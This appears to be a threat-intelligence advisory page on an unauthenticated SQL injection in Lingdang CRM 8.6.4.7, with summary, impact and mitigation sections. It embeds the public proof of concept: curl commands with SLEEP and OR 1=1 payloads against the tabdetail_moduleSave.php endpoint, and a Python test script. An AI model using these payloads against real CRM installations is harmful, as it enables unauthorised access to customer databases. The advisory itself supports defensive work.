Lingdang CRM 8.6.4.7 - SQL Injection
Lingdang CRM 8.6.4.7 - SQL Injection
AI Analysis
Technical Summary
The Lingdang CRM 8.6.4.7 software contains a SQL Injection vulnerability that allows attackers to inject malicious SQL commands into the backend database queries executed by the application. SQL Injection vulnerabilities arise when user-supplied input is improperly sanitized or validated before being included in SQL statements. In this case, the vulnerability enables attackers to manipulate the database queries to retrieve unauthorized data, modify or delete records, or execute administrative operations on the database. The exploit is particularly dangerous because it does not require authentication or user interaction, meaning attackers can exploit it remotely and anonymously. The availability of a Python-based exploit script on Exploit-DB (ID 52420) facilitates automated attacks and lowers the technical barrier for exploitation. Although no active exploitation has been reported, the presence of public exploit code increases the likelihood of future attacks. The vulnerability affects web-facing Lingdang CRM installations, which are commonly used for customer relationship management in various sectors. Without proper mitigation, attackers could compromise sensitive customer data, disrupt business operations, or leverage the CRM system as a pivot point for further network intrusion.
Potential Impact
For European organizations, this SQL Injection vulnerability poses significant risks including unauthorized disclosure of sensitive customer and business data, potential data tampering, and service disruption. Compromise of CRM data can lead to regulatory non-compliance issues under GDPR, resulting in legal penalties and reputational damage. Attackers exploiting this vulnerability could gain persistent access to internal systems if the CRM database is integrated with other enterprise resources. The disruption of CRM services can affect customer support, sales operations, and overall business continuity. Given the widespread use of CRM systems across industries such as finance, healthcare, and manufacturing in Europe, the impact can be broad and severe. Organizations handling large volumes of personal data or critical business information are particularly vulnerable to the consequences of data breaches or integrity loss caused by this exploit.
Mitigation Recommendations
Immediate mitigation should focus on applying official patches or updates from Lingdang CRM vendors once available. In the absence of patches, organizations should implement strong input validation and use parameterized queries or prepared statements to prevent SQL Injection. Web application firewalls (WAFs) can be configured to detect and block SQL Injection attempts targeting Lingdang CRM endpoints. Conduct thorough code reviews and security testing of custom integrations with the CRM to identify and remediate injection points. Restrict database user privileges to the minimum necessary to limit the impact of a successful injection. Regularly monitor logs for suspicious database query patterns indicative of injection attempts. Additionally, organizations should maintain up-to-date backups of CRM data to enable recovery in case of data corruption or loss. Employee training on secure coding and awareness of injection risks can further reduce exposure.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: # Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection # Google Dork: N/A # Date: 2025-08-19 # Exploit Author: Beatriz Fresno Naumova # Vendor: Shanghai Lingdang Information Technology) # Software Link: (N/A – commercial product) # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory) # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency) # CVE : CVE-2025-9140 # Summary # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the # 'getvaluestring' parameter. An unauthenticated remote attacker can perform boolean/time-based # blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+. # Route # /crm/crmapi/erp/tabdetail_moduleSave.php # Parameter # getvaluestring (GET or POST) # Notes # * This PoC does NOT target a live site. Replace TARGET with a lab host you own. # * Demonstrates time-based blind (SLEEP) and boolean-based payloads. # --- Quick PoC with curl (time-based blind) --- # Expect ~5s response delay on vulnerable targets. # GET variant: curl -i -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring='||(SELECT SLEEP(5))--+-" # POST variant: curl -i -k -X POST "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php" \ --data "getvaluestring='||(SELECT SLEEP(5))--+-" # --- Boolean-based example (response/body differences may vary by deployment) --- curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=1-- -" -o /tmp/true.html curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=2-- -" -o /tmp/false.html # Compare /tmp/true.html vs /tmp/false.html for observable differences. # --- Python 3 PoC (time-based) --- # Save as lingdang_sqli_poc.py and run: python3 lingdang_sqli_poc.py http://TARGET import sys, time, requests def test_time_sqli(base): url_get = f"{base.rstrip('/')}/crm/crmapi/erp/tabdetail_moduleSave.php" payload = "'||(SELECT SLEEP(5))--+-" try: t0 = time.time() r = requests.get(url_get, params={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via GET.") else: print("[-] No significant delay observed via GET.") except Exception as e: print(f"[!] GET error: {e}") try: t0 = time.time() r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via POST.") else: print("[-] No significant delay observed via POST.") except Exception as e: print(f"[!] POST error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} http://TARGET") sys.exit(1) requests.packages.urllib3.disable_warnings() test_time_sqli(sys.argv[1]) # --- Impact --- # Confidentiality, integrity, availability compromise via SQL injection (CWE-89). # --- Mitigations --- # 1) Use parameterized queries / prepared statements for getvaluestring. # 2) Server-side input validation and allow-listing for the parameter. # 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route. # --- Disclosure --- # Public identifiers: CVE-2025-9140 (VulDB VDB-320520). # Vendor reportedly fixed in 8.6.5+ with parameterized queries.
Lingdang CRM 8.6.4.7 - SQL Injection
Description
Lingdang CRM 8.6.4.7 - SQL Injection
AI-Powered Analysis
Technical Analysis
The Lingdang CRM 8.6.4.7 software contains a SQL Injection vulnerability that allows attackers to inject malicious SQL commands into the backend database queries executed by the application. SQL Injection vulnerabilities arise when user-supplied input is improperly sanitized or validated before being included in SQL statements. In this case, the vulnerability enables attackers to manipulate the database queries to retrieve unauthorized data, modify or delete records, or execute administrative operations on the database. The exploit is particularly dangerous because it does not require authentication or user interaction, meaning attackers can exploit it remotely and anonymously. The availability of a Python-based exploit script on Exploit-DB (ID 52420) facilitates automated attacks and lowers the technical barrier for exploitation. Although no active exploitation has been reported, the presence of public exploit code increases the likelihood of future attacks. The vulnerability affects web-facing Lingdang CRM installations, which are commonly used for customer relationship management in various sectors. Without proper mitigation, attackers could compromise sensitive customer data, disrupt business operations, or leverage the CRM system as a pivot point for further network intrusion.
Potential Impact
For European organizations, this SQL Injection vulnerability poses significant risks including unauthorized disclosure of sensitive customer and business data, potential data tampering, and service disruption. Compromise of CRM data can lead to regulatory non-compliance issues under GDPR, resulting in legal penalties and reputational damage. Attackers exploiting this vulnerability could gain persistent access to internal systems if the CRM database is integrated with other enterprise resources. The disruption of CRM services can affect customer support, sales operations, and overall business continuity. Given the widespread use of CRM systems across industries such as finance, healthcare, and manufacturing in Europe, the impact can be broad and severe. Organizations handling large volumes of personal data or critical business information are particularly vulnerable to the consequences of data breaches or integrity loss caused by this exploit.
Mitigation Recommendations
Immediate mitigation should focus on applying official patches or updates from Lingdang CRM vendors once available. In the absence of patches, organizations should implement strong input validation and use parameterized queries or prepared statements to prevent SQL Injection. Web application firewalls (WAFs) can be configured to detect and block SQL Injection attempts targeting Lingdang CRM endpoints. Conduct thorough code reviews and security testing of custom integrations with the CRM to identify and remediate injection points. Restrict database user privileges to the minimum necessary to limit the impact of a successful injection. Regularly monitor logs for suspicious database query patterns indicative of injection attempts. Additionally, organizations should maintain up-to-date backups of CRM data to enable recovery in case of data corruption or loss. Employee training on secure coding and awareness of injection risks can further reduce exposure.
Affected Countries
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Technical Details
- Edb Id
- 52420
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Lingdang CRM 8.6.4.7 - SQL Injection
# Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection # Google Dork: N/A # Date: 2025-08-19 # Exploit Author: Beatriz Fresno Naumova # Vendor: Shanghai Lingdang Information Technology) # Software Link: (N/A – commercial product) # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory) # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency) # CVE : CVE-2025-9140 # Summary # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the #... (3118 more characters)
Threat ID: 68ae5e7aad5a09ad005d88c5
Added to database: 8/27/2025, 1:25:14 AM
Last enriched: 10/19/2025, 1:19:57 AM
Last updated: 10/20/2025, 6:38:28 AM
Views: 121
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